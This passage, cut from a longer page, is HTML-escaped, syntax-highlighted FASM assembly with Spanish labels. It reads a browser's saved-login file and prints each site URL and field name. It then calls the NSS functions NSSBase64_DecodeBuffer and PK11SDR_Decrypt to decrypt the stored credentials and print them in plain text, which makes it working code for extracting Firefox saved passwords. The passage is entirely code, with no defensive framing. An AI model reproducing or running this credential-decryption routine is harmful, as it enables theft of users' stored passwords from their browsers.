salir&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle2&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle2&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"WEB: %s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;URL&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;campo&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Campo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle3&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; salir&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle3&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle3&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Campo: %s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Campo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;valor&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle4&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; salir&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle4&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle4&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;valor&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Campo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetProcAddress&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"NSSBase64_DecodeBuffer"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &amp;nbsp;tsec&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;valor&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Campo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetProcAddress&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"PK11SDR_Decrypt"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; tsec&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;tSecDec&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Datos: %s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tSecDec&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;SECItemData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;"http"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;campo&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; sPathL&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; libreria&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;40h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Concat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;sPathL&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;libreria&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LoadLibrary&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Concat &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;uses&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrSrc1&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrSrc2&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrDest&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrSrc1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrDest&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src1&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src1&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrSrc2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src2&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src2&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt; 